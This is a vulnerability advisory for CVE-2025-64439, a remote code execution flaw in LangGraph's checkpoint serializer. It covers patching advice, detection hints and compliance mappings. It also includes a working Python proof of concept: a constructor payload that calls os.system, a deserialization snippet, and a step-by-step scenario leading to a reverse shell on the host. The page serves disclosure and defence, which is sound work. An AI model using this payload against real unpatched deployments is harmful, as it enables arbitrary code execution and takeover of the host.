CVE-2025-64439

GHSA-wwqv-p2pp-99h5 HIGH
Published November 5, 2025
CISO Take

Any LangGraph-based agent or application that persists user-supplied data to checkpoints is vulnerable to full remote code execution with application-level privileges. The PoC is public, the attack requires only normal application interaction, and the fix is a drop-in upgrade with no breaking changes. Patch to langgraph-checkpoint 3.0.0 today — this is not optional.

Affected Systems

Package Ecosystem Vulnerable Range Patched
langgraph-checkpoint pip < 3.0.0 3.0.0

Do you use langgraph-checkpoint? You're affected.

Severity & Risk

CVSS 3.1
N/A
EPSS
0.8%
chance of exploitation in 30 days
KEV Status
Not in KEV
Sophistication
Moderate

Recommended Action

  1. 1. PATCH IMMEDIATELY: Upgrade langgraph-checkpoint to 3.0.0 — fully backward compatible, no import changes required. 2. If using langgraph-api, upgrade to 0.5+ which enforces the patched checkpointer. 3. SHORT-TERM WORKAROUND (if patching is delayed): Remove all user-controlled data from LangGraph state fields; sanitize or reject inputs containing Unicode surrogates (\uD800–\uDFFF range) at the application boundary before they reach agent nodes. 4. DETECTION: Audit checkpoint storage backends (SQLite, Redis, PostgreSQL) for payloads containing JSON keys 'lc', 'type':'constructor', or 'id' arrays pointing to OS or subprocess modules. Monitor Python processes running LangGraph for unexpected child process spawning or outbound connections. 5. INVENTORY: Enumerate all LangGraph deployments including internal tools, developer assistants, and custom agents — not just customer-facing products.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity for high-risk AI systems
ISO 42001
A.10.5 - AI supply chain
NIST AI RMF
MANAGE 2.2 - Mechanisms are in place and applied to sustain the value of deployed AI systems
OWASP LLM Top 10
LLM03 - Supply Chain

Technical Details

NVD Description

# Summary Prior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `"json"` serialization mode. If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization. Upgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode. If you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. # Details **Affected file / component** [jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py) By default, the serializer attempts to use `"msgpack"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the `"json"` mode. When operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == "constructor"`) for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load. --- # Who is affected This issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who: 1. Allow untrusted or user-supplied data to be persisted into checkpoints, and 2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `"json"` mode. If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced. # Proof of Concept (PoC) ```python from langgraph.graph import StateGraph from typing import TypedDict from langgraph.checkpoint.sqlite import SqliteSaver class State(TypedDict): foo: str attack: dict def my_node(state: State): return {"foo": "oops i fetched a surrogate \ud800"} with SqliteSaver.from_conn_string("foo.db") as saver: graph = ( StateGraph(State). add_node("my_node", my_node). add_edge("__start__", "my_node"). compile(checkpointer=saver) ) attack = { "lc": 2, "type": "constructor", "id": ["os", "system"], "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"}, } malicious_payload = { "attack": attack, } thread_id = "00000000-0000-0000-0000-000000000001" config = {"thread_id": thread_id} # Malicious payload is saved in the first call graph.invoke(malicious_payload, config=config) # Malicious payload is deserialized and code is executed in the second call graph.invoke({"foo": "hi there"}, config=config) ``` Running this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution. Internally, this exploits the following code path: ```python from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer serializer = JsonPlusSerializer() # Used within the checkpointer serialized = serializer.dumps_typed(malicious_payload) serializer.loads_typed(serialized) # Executes os.system(...) ``` --- # Fixed Version The vulnerability is fixed in **`langgraph-checkpoint==3.0.0`** Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0 --- # Fix Description The fix introduces an **allow-list** for constructor deserialization, restricting permissible `"id"` paths to explicitly approved module/class combinations provided at serializer construction. Additionally, saving payloads in `"json"` format has been deprecated to remove this unsafe fallback path. --- # Mitigation Upgrade immediately to `langgraph-checkpoint==3.0.0`. This version is fully compatible with `langgraph>=0.3` and does **not** require any import changes or code modifications. In `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.

Exploitation Scenario

An attacker interacts with a LangGraph-based enterprise AI assistant accepting free-text input. Step 1: The attacker sends a message that causes a LangGraph node to produce a state value containing a Unicode surrogate character (e.g., by exploiting predictable node behavior or social engineering the expected output). msgpack serialization fails silently and falls back to JSON mode — the checkpoint is now stored in the vulnerable format. Step 2: The attacker sends a follow-up turn embedding a crafted payload in their input: a JSON constructor object with id pointing to os.system or subprocess.Popen and kwargs containing a reverse shell command. On the next graph invocation, the checkpoint is deserialized, the constructor is executed, and the attacker achieves shell access to the host running the LangGraph application. No special privileges, credentials, or AI expertise are required — only the ability to send two sequential messages to the target application.

Timeline

Published
November 5, 2025
Last Modified
November 7, 2025
First Seen
March 24, 2026